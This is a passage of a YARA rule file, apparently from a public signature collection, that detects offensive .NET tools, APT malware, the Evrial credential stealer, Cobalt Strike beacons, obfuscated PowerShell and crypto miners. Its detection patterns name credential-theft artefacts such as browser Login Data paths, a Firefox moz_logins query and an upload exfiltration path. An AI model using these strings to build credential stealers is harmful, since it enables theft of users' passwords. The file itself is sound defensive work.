		$typelibguid2lo = "9a6c028f-423f-4c2c-8db3-b3499139b822" ascii wide
		$typelibguid2up = "9A6C028F-423F-4C2C-8DB3-B3499139B822" ascii wide
		$typelibguid3lo = "1c896837-e729-46a9-92b9-3bbe7ac2c90d" ascii wide
		$typelibguid3up = "1C896837-E729-46A9-92B9-3BBE7AC2C90D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AESShellCodeInjector
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/san3ncrypt3d/AESShellCodeInjector"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "6253e30b-7c92-5237-a706-e93403a7c0b6"

	strings:
		$typelibguid0lo = "b016da9e-12a1-4f1d-91a1-d681ae54e92c" ascii wide
		$typelibguid0up = "B016DA9E-12A1-4F1D-91A1-D681AE54E92C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpChromium
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/SharpChromium"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "5364956a-e199-556a-8055-0e7b9a7b14c8"

	strings:
		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Get_RBCD_Threaded
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/FatRodzianko/Get-RBCD-Threaded"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "fdef6dc3-da1a-5a98-a822-94e443981fdd"

	strings:
		$typelibguid0lo = "e20dc2ed-6455-4101-9d78-fccac1cb7a18" ascii wide
		$typelibguid0up = "E20DC2ED-6455-4101-9D78-FCCAC1CB7A18" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Whisker
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/eladshamir/Whisker"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "ecb0c59f-2111-58d9-8dc9-dfe005cad3be"

	strings:
		$typelibguid0lo = "42750ac0-1bff-4f25-8c9d-9af144403bad" ascii wide
		$typelibguid0up = "42750AC0-1BFF-4F25-8C9D-9AF144403BAD" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ShadowSpray
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/Dec0ne/ShadowSpray"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "91dd52ef-07a1-5ffd-b5c3-59bca18d4c7c"

	strings:
		$typelibguid0lo = "7e47d586-ddc6-4382-848c-5cf0798084e1" ascii wide
		$typelibguid0up = "7E47D586-DDC6-4382-848C-5CF0798084E1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MalSCCM
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/nettitude/MalSCCM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "4a88532b-e2bc-5ce9-828d-6ef62d91f6b9"

	strings:
		$typelibguid0lo = "5439cecd-3bb3-4807-b33f-e4c299b71ca2" ascii wide
		$typelibguid0up = "5439CECD-3BB3-4807-B33F-E4C299B71CA2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SpoolSample
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/leechristensen/SpoolSample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "38346575-cf5b-59bf-b2b2-21aacf05b8a4"

	strings:
		$typelibguid0lo = "640c36b4-f417-4d85-b031-83a9d23c140b" ascii wide
		$typelibguid0up = "640C36B4-F417-4D85-B031-83A9D23C140B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpOxidResolver
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpOxidResolver"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "e8a957bc-3319-51c2-8289-01bd0b8a632a"

	strings:
		$typelibguid0lo = "ce59f8ff-0ecf-41e9-a1fd-1776ca0b703d" ascii wide
		$typelibguid0up = "CE59F8FF-0ECF-41E9-A1FD-1776CA0B703D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Sharpcat
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/theart42/Sharpcat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-11-30"

	strings:
		$typelibguid0 = "d16fd95f-23ce-4f8d-8763-b9f5a9cdd0c3" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpNamedPipePTH
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-11-30"

	strings:
		$typelibguid0 = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpTokenFinder
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/HuskyHacks/SharpTokenFinder"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-12-06"

	strings:
		$typelibguid0 = "572804d3-dbd6-450a-be64-2e3cb54fd173" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpRODC
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/wh0amitz/SharpRODC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-12-06"

	strings:
		$typelibguid0 = "d305f8a3-019a-4cdf-909c-069d5b483613" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_GMSAPasswordReader
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/rvazarkar/GMSAPasswordReader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-12-06"

	strings:
		$typelibguid0 = "c8112750-972d-4efa-a75b-da9b8a4533c7" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpShareFinder
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mvelazc0/SharpShareFinder"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-12-19"

	strings:
		$typelibguid0 = "64bfeb18-b65c-4a83-bde0-b54363b09b71" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_POSTDump
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/YOLOP0wn/POSTDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-12-19"

	strings:
		$typelibguid0 = "e54195f0-060c-4b24-98f2-ad9fb5351045" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Sphinx_Moth_cudacrt
{
	meta:
		description = "sphinx moth threat group file cudacrt.dll"
		author = "Kudelski Security - Nagravision SA"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "233f657b-029a-5ed4-b2f7-712851297f18"

	strings:
		$s0 = "HPSSOEx.dll" fullword wide
		$s1 = "255.255.255.254" fullword wide
		$s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
		$op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b }
		$op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 }
		$op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 243KB and all of ( $s* ) and 1 of ( $op* )
}

rule Sphinx_Moth_h2t
{
	meta:
		description = "sphinx moth threat group file h2t.dat"
		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "62d14efd-7d0b-5f66-9e78-74f3f9e2fd5b"

	strings:
		$x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii
		$s1 = "[-] Error in connection() %d - %s" fullword ascii
		$s2 = "[-] Child process exit." fullword ascii
		$s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
		$s4 = "pipe() to" fullword ascii
		$s5 = "pipe() from" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 156KB and ( $x1 or all of ( $s* ) )
}

rule Sphinx_Moth_iastor32
{
	meta:
		description = "sphinx moth threat group file iastor32.exe"
		author = "Kudelski Security - Nagravision SA"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "5688c598-ea18-578f-bb8a-3729c0502af5"

	strings:
		$s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii
		$s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule Sphinx_Moth_kerberos32
{
	meta:
		description = "sphinx moth threat group file kerberos32.dll"
		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "769ee362-2363-511a-8f17-99e66c9bab53"

	strings:
		$x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
		$x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
		$x3 = "kerberos32.dll" fullword wide
		$x4 = "KERBEROS64.dll" fullword ascii
		$x5 = "kerberos%d.dll" fullword ascii
		$s1 = "\\\\.\\pipe\\lsassp" fullword ascii
		$s2 = "LSASS secure pipe" fullword ascii
		$s3 = "NullSessionPipes" fullword ascii
		$s4 = "getlog" fullword ascii
		$s5 = "startlog" fullword ascii
		$s6 = "stoplog" fullword ascii
		$s7 = "Unsupported OS (%d)" fullword ascii
		$s8 = "Unsupported OS (%s)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 2 of ( $x* ) or all of ( $s* ) )
}

rule Sphinx_Moth_kerberos64
{
	meta:
		description = "sphinx moth threat group file kerberos64.dll"
		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "5a2487e4-cda4-5d45-9351-edd2b69c460a"

	strings:
		$s0 = "KERBEROS64.dll" fullword ascii
		$s1 = "zeSecurityDescriptor" fullword ascii
		$s2 = "SpGetInfo" fullword ascii
		$s3 = "SpShutdown" fullword ascii
		$op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff }
		$op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 }
		$op2 = { 48 8d 3d e3 ee 00 00 ba 58 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 406KB and all of ( $s* ) and 1 of ( $op* )
}

rule Sphinx_Moth_nvcplex
{
	meta:
		description = "sphinx moth threat group file nvcplex.dat"
		author = "Kudelski Security - Nagravision SA"
		reference = "www.kudelskisecurity.com"
		date = "2015-08-06"
		id = "dd1b4071-adf5-5d54-9b4c-877f0965bdc7"

	strings:
		$s0 = "mshtaex.exe" fullword wide
		$op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 }
		$op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b }
		$op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 214KB and all of them
}

rule MAL_Envrial_Jan18_1
{
	meta:
		description = "Detects Encrial credential stealer malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/malwrhunterteam/status/953313514629853184"
		date = "2018-01-21"
		hash1 = "9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85"
		hash2 = "9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d"
		id = "8be5f0d8-013f-5070-9e19-9ac522c88693"

	strings:
		$x1 = "/Evrial/master/domen" wide
		$a1 = "\\Opera Software\\Opera Stable\\Login Data" wide
		$a2 = "\\Comodo\\Dragon\\User Data\\Default\\Login Data" wide
		$a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide
		$a4 = "\\Orbitum\\User Data\\Default\\Login Data" wide
		$a5 = "\\Kometa\\User Data\\Default\\Login Data" wide
		$s1 = "dlhosta.exe" fullword wide
		$s2 = "\\passwords.log" wide
		$s3 = "{{ <>h__TransparentIdentifier1 = {0}, Password = {1} }}" fullword wide
		$s4 = "files/upload.php?user={0}&hwid={1}" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 3 of them or 2 of ( $s* ) )
}

rule SUSP_Doc_WindowsInstaller_Call_Feb22_1
{
	meta:
		author = "Nils Kuhnert"
		date = "2022-02-26"
		description = "Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts."
		tlp = "white"
		reference = "https://inquest.net/blog/2022/02/24/dangerously-thinbasic"
		reference2 = "https://twitter.com/threatinsight/status/1497355737844133895"
		id = "8f2e8f91-74e0-5574-9c0a-1479d6114212"

	strings:
		$ = "WindowsInstaller.Installer$"
		$ = "CreateObject"
		$ = "InstallProduct"

	condition:
		uint32be( 0 ) == 0xd0cf11e0 and all of them
}

import "pe"

rule Unspecified_Malware_Sep1_A1
{
	meta:
		description = "Detects malware from DrqgonFly APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
		date = "2017-09-12"
		hash1 = "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0"
		id = "cff49e85-c8c3-5240-9948-0551e38e7040"

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and pe.imphash ( ) == "17a4bd9c95f2898add97f309fc6f9bcd" )
}

rule DragonFly_APT_Sep17_1
{
	meta:
		description = "Detects malware from DrqgonFly APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
		date = "2017-09-12"
		hash1 = "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9"
		id = "d219a54e-cb76-5c56-b64c-5019e811eeb1"

	strings:
		$s1 = "\\Update\\Temp\\ufiles.txt" wide
		$s2 = "%02d.%02d.%04d %02d:%02d" fullword wide
		$s3 = "*pass*.*" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule DragonFly_APT_Sep17_2
{
	meta:
		description = "Detects malware from DrqgonFly APT report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
		date = "2017-09-12"
		modified = "2023-01-06"
		hash1 = "178348c14324bc0a3e57559a01a6ae6aa0cb4013aabbe324b51f906dcf5d537e"
		id = "e64f121d-a628-54b5-88f3-96eea388c155"

	strings:
		$s1 = "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" wide
		$s2 = "C:\\Users\\Public\\Log.txt" fullword wide
		$s3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" fullword wide
		$s4 = "***************** Mozilla Firefox ****************" fullword wide
		$s5 = "********************** Opera *********************" fullword wide
		$s6 = "\\AppData\\Local\\Microsoft\\Credentials\\" wide
		$s7 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\" wide
		$s8 = "**************** Internet Explorer ***************" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and 3 of them )
}

import "pe"

rule DragonFly_APT_Sep17_3
{
	meta:
		description = "Detects malware from DrqgonFly APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
		date = "2017-09-12"
		hash1 = "b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291"
		id = "4eafd732-80bc-5f50-bf0d-096df4d35d61"

	strings:
		$s1 = "kernel64.dll" fullword ascii
		$s2 = "ws2_32.dQH" fullword ascii
		$s3 = "HGFEDCBADCBA" fullword ascii
		$s4 = "AWAVAUATWVSU" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and ( pe.imphash ( ) == "6f03fb864ff388bac8680ac5303584be" or all of them ) )
}

rule DragonFly_APT_Sep17_4
{
	meta:
		description = "Detects malware from DrqgonFly APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
		date = "2017-09-12"
		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
		id = "dbc0eebf-fc81-5a0b-b2e0-129d0b40b6f7"

	strings:
		$s1 = "screen.exe" fullword wide
		$s2 = "PlatformInvokeUSER32" fullword ascii
		$s3 = "GetDesktopImageF" fullword ascii
		$s4 = "PlatformInvokeGDI32" fullword ascii
		$s5 = "GetDesktopImage" fullword ascii
		$s6 = "Too many arguments, going to store in current dir" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them )
}

rule APT_CobaltStrike_Beacon_Indicator
{
	meta:
		description = "Detects CobaltStrike beacons"
		author = "JPCERT"
		reference = "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py"
		date = "2018-11-09"
		id = "8508c7a0-0131-59b1-b537-a6d1c6cb2b35"

	strings:
		$v1 = { 73 70 72 6E 67 00 }
		$v2 = { 69 69 69 69 69 69 69 69 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule HKTL_CobaltStrike_Beacon_Strings
{
	meta:
		author = "Elastic"
		description = "Identifies strings used in Cobalt Strike Beacon DLL"
		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
		date = "2021-03-16"
		id = "af558aa2-a3dc-5a7a-bc74-42bb2246091c"

	strings:
		$s1 = "%02d/%02d/%02d %02d:%02d:%02d"
		$s2 = "Started service %s on %s"
		$s3 = "%s as %s\\%s: %d"

	condition:
		2 of them
}

rule HKTL_CobaltStrike_Beacon_XOR_Strings
{
	meta:
		author = "Elastic"
		description = "Identifies XOR'd strings used in Cobalt Strike Beacon DLL"
		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
		date = "2021-03-16"
		xor_s1 = "%02d/%02d/%02d %02d:%02d:%02d"
		xor_s2 = "Started service %s on %s"
		xor_s3 = "%s as %s\\%s: %d"
		id = "359160a8-cf1c-58a8-bf7f-c09a8d661308"

	strings:
		$s1 = "%02d/%02d/%02d %02d:%02d:%02d" xor(0x01-0xff)
		$s2 = "Started service %s on %s" xor(0x01-0xff)
		$s3 = "%s as %s\\%s: %d" xor(0x01-0xff)
		$fp1 = "MalwareRemovalTool"

	condition:
		2 of ( $s* ) and not 1 of ( $fp* )
}

rule HKTL_CobaltStrike_Beacon_4_2_Decrypt
{
	meta:
		author = "Elastic"
		description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2"
		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
		date = "2021-03-16"
		id = "63b71eef-0af5-5765-b957-ccdc9dde053b"

	strings:
		$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
		$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}

	condition:
		any of them
}

rule HKTL_Win_CobaltStrike : Commodity
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-05-25"
		description = "The CobaltStrike malware family."
		hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
		reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
		id = "113ba304-261f-5c59-bc56-57515c239b6d"

	strings:
		$s1 = "%s (admin)" fullword
		$s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
		$s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
		$s4 = "%s as %s\\%s: %d" fullword
		$s5 = "%s&%s=%s" fullword
		$s6 = "rijndael" fullword
		$s7 = "(null)"

	condition:
		all of them
}

rule PowerShell_Case_Anomaly
{
	meta:
		description = "Detects obfuscated PowerShell hacktools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/danielhbohannon/status/905096106924761088"
		date = "2017-08-11"
		modified = "2022-06-12"
		score = 70
		id = "41c97d15-c167-5bdd-a8b4-871d14f66fe1"

	strings:
		$s1 = "powershell" nocase ascii wide
		$sn1 = "powershell" ascii wide
		$sn2 = "Powershell" ascii wide
		$sn3 = "PowerShell" ascii wide
		$sn4 = "POWERSHELL" ascii wide
		$sn5 = "powerShell" ascii wide
		$sn6 = "PowerShelL" ascii wide
		$sn7 = "PowershelL" ascii wide
		$a1 = "wershell -e " nocase wide ascii
		$an1 = "wershell -e " wide ascii
		$an2 = "werShell -e " wide ascii
		$k1 = "-noprofile" fullword nocase ascii wide
		$kn1 = "-noprofile" ascii wide
		$kn2 = "-NoProfile" ascii wide
		$kn3 = "-noProfile" ascii wide
		$kn4 = "-NOPROFILE" ascii wide
		$kn5 = "-Noprofile" ascii wide
		$fp1 = "Microsoft Code Signing" ascii fullword
		$fp2 = "Microsoft Corporation" ascii
		$fp3 = "Microsoft.Azure.Commands.ContainerInstance" wide
		$fp4 = "# Localized PSGet.Resource.psd1" wide

	condition:
		filesize < 800KB and ( ( #s1 > #sn1 + #sn2 + #sn3 + #sn4 + #sn5 + #sn6 + #sn7 ) or ( #a1 > #an1 + #an2 ) or ( #k1 > #kn1 + #kn2 + #kn3 + #kn4 + #kn5 ) ) and not 1 of ( $fp* )
}

rule WScriptShell_Case_Anomaly
{
	meta:
		description = "Detects obfuscated wscript.shell commands"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-11"
		modified = "2022-06-09"
		score = 60
		id = "d69d932d-1e39-5259-9200-f0227754f49c"

	strings:
		$s1 = "WScript.Shell\").Run" nocase ascii wide
		$sn1 = "WScript.Shell\").Run" ascii wide
		$sn2 = "wscript.shell\").run" ascii wide
		$sn3 = "WSCRIPT.SHELL\").RUN" ascii wide
		$sn4 = "Wscript.Shell\").Run" ascii wide
		$sn5 = "WScript.shell\").Run" ascii wide

	condition:
		filesize < 3000KB and #s1 > #sn1 + #sn2 + #sn3 + #sn4 + #sn5
}

rule CoinMiner_Strings : SCRIPT HIGHVOL
{
	meta:
		description = "Detects mining pool protocol string in Executable"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "https://minergate.com/faq/what-pool-address"
		date = "2018-01-04"
		modified = "2021-10-26"
		nodeepdive = 1
		id = "ac045f83-5f32-57a9-8011-99a2658a0e05"

	strings:
		$sa1 = "stratum+tcp://" ascii
		$sa2 = "stratum+udp://" ascii
		$sb1 = "\"normalHashing\": true,"

	condition:
		filesize < 3000KB and 1 of them
}

rule CoinHive_Javascript_MoneroMiner : HIGHVOL
{
	meta:
		description = "Detects CoinHive - JavaScript Crypto Miner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		reference = "https://coinhive.com/documentation/miner"
		date = "2018-01-04"
		id = "4f40c342-fcdc-5c73-a3cf-7b2ed438eaaf"

	strings:
		$s2 = "CoinHive.CONFIG.REQUIRES_AUTH" fullword ascii

	condition:
		filesize < 65KB and 1 of them
}

rule PUA_CryptoMiner_Jan19_1
{
	meta:
		description = "Detects Crypto Miner strings"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-01-31"
		score = 80
		hash1 = "ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05"
		id = "aebfdce9-c2dd-5f24-aa25-071e1a961239"

	strings:
		$s1 = "Stratum notify: invalid Merkle branch" fullword ascii
		$s2 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
		$s3 = "User-Agent: cpuminer/" ascii
		$s4 = "hash > target (false positive)" fullword ascii
		$s5 = "thread %d: %lu hashes, %s khash/s" fullword ascii

	condition:
		filesize < 1000KB and 1 of them
}

rule PUA_Crypto_Mining_CommandLine_Indicators_Oct21 : SCRIPT
{
	meta:
		description = "Detects command line parameters often used by crypto mining software"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.poolwatch.io/coin/monero"
		date = "2021-10-24"
		score = 65
		id = "afe5a63a-08c3-5cb7-b4b1-b996068124b7"

	strings:
		$s01 = " --cpu-priority="
		$s02 = "--donate-level=0"
		$s03 = " -o pool."
		$s04 = " -o stratum+tcp://"
		$s05 = " --nicehash"
		$s06 = " --algo=rx/0 "
		$se1 = "LS1kb25hdGUtbGV2ZWw9"
		$se2 = "0tZG9uYXRlLWxldmVsP"
		$se3 = "tLWRvbmF0ZS1sZXZlbD"
		$se4 = "c3RyYXR1bSt0Y3A6Ly"
		$se5 = "N0cmF0dW0rdGNwOi8v"
